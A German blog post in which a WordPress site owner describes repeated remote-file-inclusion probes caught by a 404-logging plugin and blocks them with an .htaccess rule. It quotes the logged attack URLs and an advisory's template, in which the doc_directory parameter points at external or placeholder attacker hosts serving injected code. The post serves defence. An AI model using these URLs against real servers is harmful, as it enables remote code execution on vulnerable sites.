Software Guide

Erst kürzlich habe ich das WordPress-Plugin Log 404 installiert. Dieses Plugin zeichnet die 100 letzten 404-Fehler („Webseite nicht gefunden“) auf und ist damit eine prima Admin-Unterstützung, um tote Links aufzuspüren, die man ggf. umbiegen sollte, weil regelmäßig darauf zugegriffen wird.

Ich habe das Plugin ein paar Tagen im Einsatz und stelle nun immer wieder Massen-Zugriffe auf folgenden Pfad fest:

sw-guide.de/wordpress/lib_comment/comment.php?doc_directory=
hxxp://artelj.com/c.ar?
sw-guide.de/wordpress/lib_comment/comment.php?doc_directory=
hxxp://empzone.com/c.ar??

Bei Software Guide gibt es weder den Verzeichnispfad /wordpress/lib_comment/ noch gibt es dort diese comment.php. Googlen nach lib_comment/comment.php?doc_directory bringt aber einschlägige Ergebnisse zu Tage:

OpenDock Full Core contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to sw/lib_comment/comment.php not properly sanitizing user input supplied to the ‚doc_directory‘ variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.
(…)
Solution:
Currently, there are no known upgrades, patches, or workarounds available to correct this issue.
(…)
http://[target]/[OpenDockFullCore_Path]/sw/lib_comment/comment.php?doc_directory=
http://[attacker]/inject.txt?

Was bedeutet das jetzt?

Hat man in WordPress Permalinks aktiviert und auf eine Seite zugegriffen die es nicht gibt, so wird durch die Rewrite-Regeln auf eine 404-Fehlerseite weitergeleitet. Ein automatisierter Bot merkt dabei aber nicht, dass es sich um einen 404-Fehler handelt und durch das Rewrite erfolgt auch kein Eintrag in die Webserver-Logfiles diesbezüglich.

Dieser Hacker hat nun wohl einen Bot laufen, der beim Zugriff auf /wordpress/lib_comment/ auf keinen Fehler stößt. Daher meint der Bot, es gibt das Verzeichnis und geht dann gleich mal davon aus, es handelt sich um die o.g. Software, dessen Sicherheitslücke noch nicht geschlossen wurde. Also wird angegriffen.

Dies zumindest meine Interpretation.

Lt. 404-Logfiles erfolgen diese Angriffe ca. 30-60mal pro Sekunde, von mehr als 10 unterschiedlichen und auch regelmäßig wechselnden IP-Adressen. Das ganze kann mehrere Stunden gehen, dann Pause, dann kommt der Bot wieder.

Was dagegen machen?
Ich habe jetzt auf die Schnelle folgende Zeilen in der .htaccess-Datei im Hauptverzeichnis hinzugefügt:

RewriteEngine On
RewriteRule wordpress/lib_comment - [F]

Das liefert bei Zugriff auf dieses Verzeichnis einen Fehler 403 („Forbidden“, also Verboten) aus. Was server-schonenderes ist mir im Moment noch nicht eingefallen. Ein RewriteRule lib_comment - [F] würde es auch tun und würde praktisch jedes Verzeichnis sperren, das den Namensbestandteil „lib_comment“ enthält. Ich wollte die Regel aber nicht zu allgemein formulieren.

Das Log-404-Plugin hat sich jedenfalls schon sehr bewährt und ich werde das jetzt vermehrt im Auge behalten, wer hier sonst noch so zugreift.